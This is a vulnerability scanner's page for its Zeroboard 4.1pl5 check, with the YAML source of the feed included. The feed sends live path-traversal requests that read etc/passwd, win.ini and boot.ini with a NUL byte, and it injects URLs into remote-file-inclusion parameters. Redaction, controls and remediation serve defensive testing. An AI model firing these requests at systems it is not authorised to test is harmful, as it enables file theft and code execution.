Zeroboard — 1 vulnerability check

noctis ships 1 vulnerability check for Zeroboard, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Zeroboard <= 4.1pl5 File Read and Remote File Inclusion

CVECVE-2005-0379, CVE-2005-0380
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/zeroboard/zeroboard-4-1pl5-multiple-vulnerabilities.yaml

Tests Zeroboard 4.1pl5 and earlier for two unauthenticated include flaws. Remote file inclusion (CVE-2005-0380): include/print_category.php and skin/zero_vote/login.php include the dir parameter followed by a fixed file name with no check. The feed sets dir to a URL on port 1 of the server's own loopback address, which is refused at once; a PHP include warning in the reply naming that URL followed by the appended file name confirms that the value went into include(). When OOB is enabled, dir is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP errors are hidden; the callback serves no code. File read (CVE-2005-0379): _head.php, outlogin.php (_zb_path parameter) and include/write.php (dir parameter) accept "../" sequences; a NUL byte (%00) cuts off the appended suffix on PHP before 5.3.4 with magic_quotes_gpc off. The feed requests them with a ../ path to etc/passwd and, when no passwd content comes back, windows/win.ini and then boot.ini; the content of the file in the reply confirms the read. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. The usual board folders (/bbs, /zboard, /zeroboard, /board, the web root) are tried. Only world-readable system files are read, and the account name (unless root), password field and gecos of the uid-0 line are redacted.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/include/print_category.php?setup[use_category]=1&dir={{probe.url}}
  3. HTTP(S) request GET {{dir}}/skin/zero_vote/login.php?dir={{probe.url}}
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/include/{{probe.marker}}.php
  7. HTTP(S) request GET {{dir}}/include/print_category.php?setup[use_category]=1&dir={{oob_url}}%3F
  8. HTTP(S) request GET {{dir}}/skin/zero_vote/login.php?dir={{oob_url}}%3F
  9. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Zeroboard print_category.php / zero_vote dir Remote File Inclusion (CVE-2005-0380)
  10. Checks rfi_proof for include\(http://127\.0\.0\.1:1/noctis[0-9a-z]+/(category_head\.php|va… → finding QoD 75: Zeroboard print_category.php / zero_vote dir Remote File Inclusion (CVE-2005-0380)
  11. HTTP(S) request GET {{target}}../../../../../../../../../../etc/passwd%00
  12. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  13. Parses / computes the next value with a Rhai script
  14. HTTP(S) request GET {{target}}../../../../../../../../../../windows/win.ini%00
  15. … and 8 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/zeroboard/zeroboard-4-1pl5-multiple-vulnerabilities.yaml
# Zeroboard <= 4.1pl5 file read and remote file inclusion — CVE-2005-0379, CVE-2005-0380
#
# Zeroboard 4.1 (nzeo.com, Korean PHP bulletin board) up to 4.1pl5 builds
# include paths from request variables (register_globals). Per the January
# 2005 advisory (STG Security SSA-20050113-25, bugtraq) for 4.1pl5:
#   _head.php            if(eregi(":\/\/",$_zb_path)) $_zb_path="";
#                        include $_zb_path."lib.php";
#   outlogin.php         if(eregi(":\/\/",$_zb_path)) $_zb_path="./"; ...
#                        @include $_zb_path."_head.php";
#   include/write.php    if(eregi(":\/\/",$dir)) $dir="."; include $dir."/write.php";
#   include/print_category.php   include "$dir/category_head.php";   ($dir never set)
#   skin/zero_vote/login.php     include "$dir/value.php3";          ($dir never set)
# CVE-2005-0379: the URL check misses "../", and a NUL byte (%00, PHP < 5.3.4,
# magic_quotes_gpc Off) cuts the suffix, so any readable file is included and
# printed. CVE-2005-0380: print_category.php and the zero_vote skin pages have
# no check at all, so $dir can be a URL (allow_url_fopen On) — remote PHP code
# inclusion. The later 4.1 releases (pl6+, checked on the 4.1pl9 source) reset
# the path to "./" on ".." or "://" and make include/*.php return unless
# lib.php was loaded.
#
# Detection, per usual board folder (/bbs, /zboard, /zeroboard, /board, the
# web root):
#   1. Remote file inclusion (CVE-2005-0380):
#      - in-band (QoD 75): dir=http://127.0.0.1:1/<random> on
#        include/print_category.php (setup[use_category]=1) and
#        skin/zero_vote/login.php; the reply must carry PHP's include()/main()
#        or "Failed opening '…'" warning naming that URL followed by the suffix
#        the page appends (/category_head.php, /value.php3): the URL went into
#        include(). Port 1 on the target's own loopback is refused at once; no
#        third party is contacted. The fixed pages never include a URL.
#      - OOB (QoD 97, only when OOB is enabled): dir=<callback URL>? on the same
#        two pages; a fetch of the URL is the remote inclusion (also when PHP
#        errors are hidden). The callback serves no PHP code. Sent only in a
#        folder where an absent random page answers 404, so a catch-all site
#        or a middlebox fetching URLs seen in query strings is not reported.
#   2. File read (CVE-2005-0379, QoD 75): _head.php?_zb_path=, include/write.php?dir=
#      and outlogin.php?_zb_path= set to ten "../" + etc/passwd + %00, then
#      windows/win.ini and boot.ini when the page answered 200 without a passwd
#      line. A control request for an absent random directory ending with the
#      same file must come back without any file content and with the same
#      HTTP status (fail-closed), so tarpits and honeypots are not reported.
#      The uid-0 line is redacted before it reaches the finding.
#
# Improvements over the source NASL:
#   - The NASL only tests _head.php (file read) under /bbs and the CGI dirs,
#     after a zboard.php?id=cgi_about page check (a board named cgi_about must
#     exist, so most installs are skipped). The feed tests all three file-read
#     sinks and both remote-inclusion sinks under the usual folders directly.
#   - It proves CVE-2005-0380 (remote inclusion), which the NASL only names.
#   - Windows system files are tried; an absent-file control rules out
#     blanket responders; the account line is redacted.
#
# CVSS: NVD has v2 only — CVE-2005-0380 7.5, CVE-2005-0379 5.0 (findings carry
# their own CVE and score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/zeroboard_flaws2.nasl
# (OID 1.3.6.1.4.1.25623.1.0.16178, GPL-2.0-only).
uid: 8ace1635-667b-44d8-bf8c-b445a72cab7e
name: "Zeroboard <= 4.1pl5 File Read and Remote File Inclusion (CVE-2005-0379, CVE-2005-0380)"
description: |
  Tests Zeroboard 4.1pl5 and earlier for two unauthenticated include flaws.
  Remote file inclusion (CVE-2005-0380): include/print_category.php and
  skin/zero_vote/login.php include the dir parameter followed by a fixed file
  name with no check. The feed sets dir to a URL on port 1 of the server's own
  loopback address, which is refused at once; a PHP include warning in the
  reply naming that URL followed by the appended file name confirms that the
  value went into include(). When OOB is enabled, dir is also set to the
  scanner's callback URL, and a fetch of that URL confirms the remote
  inclusion even when PHP errors are hidden; the callback serves no code.
  File read (CVE-2005-0379): _head.php, outlogin.php (_zb_path parameter) and
  include/write.php (dir parameter) accept "../" sequences; a NUL byte (%00)
  cuts off the appended suffix on PHP before 5.3.4 with magic_quotes_gpc off.
  The feed requests them with a ../ path to etc/passwd and, when no passwd
  content comes back, windows/win.ini and then boot.ini; the content of the
  file in the reply confirms the read. A control request for an absent random
  file through the same parameter must not return any of these files, so a
  server that serves the same content on every request is not reported. The
  usual board folders (/bbs, /zboard, /zeroboard, /board, the web root) are
  tried. Only world-readable system files are read, and the account name
  (unless root), password field and gecos of the uid-0 line are redacted.
cves: [CVE-2005-0379, CVE-2005-0380]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [zeroboard, php, rfi, remote-file-inclusion, lfi, path-traversal, file-read, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-0379"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-0380"
  - "https://lists.openwall.net/bugtraq/2005/01/13/22"
  # OpenVAS/Greenbone NASL pre2008/zeroboard_flaws2.nasl (GPL-2.0-only)

steps:
  # ── Shared values ─────────────────────────────────────────────────────────
  # A URL nobody serves (port 1 on the target's own loopback): include() of it
  # fails at once, and PHP's warning names it.
  - id: build-probe
    action: script
    code: |
      let m = "noctis" + rand_str(12);
      #{ marker: m, url: "http://127.0.0.1:1/" + m }
    store_as: probe

  - id: init-rfi-found
    action: set_var
    var_name: rfi_found
    var_value: false

  - id: init-rfi-proof
    action: set_var
    var_name: rfi_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  - id: init-oob-hit
    action: set_var
    var_name: oob_hit
    var_value: false

  # ── Loop group 1 (CVE-2005-0380): every following step up to the OOB wait
  # runs once per board folder. Each pass resets the values it reads.
  - id: init-pc-r
    action: set_var
    var_name: pc_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/bbs", "/zboard", "/zeroboard", "/board", ""]

  - id: init-zv-r
    action: set_var
    var_name: zv_r
    var_value: {status: 0, body: ""}

  - id: init-s404-r
    action: set_var
    var_name: s404_r
    var_value: {status: 0, body: ""}

  - id: init-rfi-hit
    action: set_var
    var_name: rfi_hit
    var_value: ""

  - id: rfi-category
    action: http_request
    method: GET
    path: "{{dir}}/include/print_category.php?setup[use_category]=1&dir={{probe.url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: pc_r

  - id: rfi-vote
    action: http_request
    method: GET
    path: "{{dir}}/skin/zero_vote/login.php?dir={{probe.url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: zv_r

  # The warning must name the URL WITH the suffix the page appends, which the
  # request never carries (an echo of the query is not enough).
  - id: rfi-check
    action: script
    code: |
      let hit = "";
      for s in [["/include/print_category.php", "/category_head.php"], ["/skin/zero_vote/login.php", "/value.php3"]] {
        let b = if s[0] == "/include/print_category.php" { pc_r.body } else { zv_r.body };
        if type_of(b) != "string" || hit != "" { continue; }
        let f = probe.url + s[1];
        let found = b.contains("Failed opening '" + f + "'");
        for w in ["include(", "main(", "include_once(", "require("] {
          if b.contains(w + f + ")") { found = true; }
        }
        if found { hit = dir + s[0] + " -> include(" + f + ")"; }
      }
      hit
    condition: "rfi_found == false"
    store_as: rfi_hit

  - id: rfi-proof
    action: script
    code: "rfi_hit"
    condition: 'rfi_found == false && rfi_hit != ""'
    store_as: rfi_proof

  - id: rfi-found
    action: set_var
    var_name: rfi_found
    var_value: true
    condition: 'rfi_hit != ""'

  # ── OOB: callback URL followed by "?", so the appended file name lands in
  # the query string — only to pages that answered 200 in a folder where an
  # absent random page answers 404 (a catch-all site or a link-fetching
  # middlebox would otherwise fetch the URL and look like an inclusion) ──────
  - id: soft404-control
    action: http_request
    method: GET
    path: "{{dir}}/include/{{probe.marker}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "oob_enabled && (pc_r.status == 200 || zv_r.status == 200)"
    store_as: s404_r

  - id: oob-category
    action: http_request
    method: GET
    path: "{{dir}}/include/print_category.php?setup[use_category]=1&dir={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && s404_r.status == 404 && pc_r.status == 200"

  - id: oob-vote
    action: http_request
    method: GET
    path: "{{dir}}/skin/zero_vote/login.php?dir={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && s404_r.status == 404 && zv_r.status == 200"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && s404_r.status == 404 && (pc_r.status == 200 || zv_r.status == 200)"

  # ── Remote file inclusion findings (no stop: the file read is tested too) ─
  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "Zeroboard print_category.php / zero_vote dir Remote File Inclusion (CVE-2005-0380)"
        description: "An unauthenticated request to include/print_category.php or skin/zero_vote/login.php with the dir parameter set to the noctis callback URL made the server fetch that URL: these pages include dir followed by a file name without any check, so an attacker can make Zeroboard fetch and run PHP code from a server they control."
        remediation: "Upgrade Zeroboard to 4.1pl6 or later (4.1pl9 is the last release; the product is no longer maintained, consider replacing it), or add the vendor check that resets dir when it contains \"://\" or \"..\". Disable register_globals and set allow_url_fopen and allow_url_include to Off."
        cves: [CVE-2005-0380]
        cvss: 7.5
        severity: high
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <dir>/include/print_category.php?setup[use_category]=1&dir=<OOB URL>? and <dir>/skin/zero_vote/login.php?dir=<OOB URL>? (remote file inclusion)"
      set_vars:
        oob_hit: true

  - id: report-rfi-warning
    action: match
    source: rfi_proof
    pattern: "include\\(http://127\\.0\\.0\\.1:1/noctis[0-9a-z]+/(category_head\\.php|value\\.php3)\\)$"
    condition: 'rfi_proof != "" && oob_hit == false'
    on_match:
      finding:
        title: "Zeroboard print_category.php / zero_vote dir Remote File Inclusion (CVE-2005-0380)"
        description: "An unauthenticated request with the dir parameter set to a URL returned a PHP include warning naming that URL followed by the file name the page appends: the page passes dir to include() without any check. Where URL includes are allowed (allow_url_fopen On, and allow_url_include On on PHP 5.2 and later), an attacker can make Zeroboard fetch and run PHP code from a server they control; otherwise the same parameter still includes local files. The fetch itself was not observed (OOB disabled or no callback)."
        remediation: "Upgrade Zeroboard to 4.1pl6 or later (4.1pl9 is the last release; the product is no longer maintained, consider replacing it), or add the vendor check that resets dir when it contains \"://\" or \"..\". Disable register_globals and set allow_url_fopen and allow_url_include to Off."
        cves: [CVE-2005-0380]
        cvss: 7.5
        severity: high
        confidence_delta: 0.55
        qod: 75
        evidence: "PHP include warning for the injected URL: {{rfi_proof}}"

  # ── Loop group 2 (CVE-2005-0379): every following step runs once per
  # folder + page + parameter. Each pass resets the values it reads.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: target
      over:
        - "/bbs/_head.php?_zb_path="
        - "/bbs/include/write.php?dir="
        - "/bbs/outlogin.php?_zb_path="
        - "/zboard/_head.php?_zb_path="
        - "/zboard/include/write.php?dir="
        - "/zboard/outlogin.php?_zb_path="
        - "/zeroboard/_head.php?_zb_path="
        - "/zeroboard/include/write.php?dir="
        - "/zeroboard/outlogin.php?_zb_path="
        - "/board/_head.php?_zb_path="
        - "/board/include/write.php?dir="
        - "/board/outlogin.php?_zb_path="
        - "/_head.php?_zb_path="
        - "/include/write.php?dir="
        - "/outlogin.php?_zb_path="

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{target}}../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # page answered (200) and the Linux read gave nothing ────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{target}}../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{target}}../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit and the NUL byte, so a honeypot keying a fake file on
  # that name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{target}}{{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── File read findings (control answered and stayed clean) ───────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Zeroboard _zb_path / dir Directory Traversal File Read (CVE-2005-0379)"
        description: "An unauthenticated request with a ../ sequence ending in etc/passwd and a NUL byte in a Zeroboard include path parameter returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the board's database settings."
        remediation: "Upgrade Zeroboard to 4.1pl6 or later (4.1pl9 is the last release; the product is no longer maintained, consider replacing it), or add the vendor check that resets _zb_path and dir when they contain \"..\". Disable register_globals, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        cves: [CVE-2005-0379]
        cvss: 5.0
        severity: medium
        confidence_delta: 0.55
        qod: 75
        evidence: "{{target}}../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Zeroboard _zb_path / dir Directory Traversal File Read (CVE-2005-0379)"
        description: "An unauthenticated request with a ../ sequence ending in a Windows system file and a NUL byte in a Zeroboard include path parameter returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the board's database settings."
        remediation: "Upgrade Zeroboard to 4.1pl6 or later (4.1pl9 is the last release; the product is no longer maintained, consider replacing it), or add the vendor check that resets _zb_path and dir when they contain \"..\". Disable register_globals, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        cves: [CVE-2005-0379]
        cvss: 5.0
        severity: medium
        confidence_delta: 0.55
        qod: 75
        evidence: "{{target}}../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub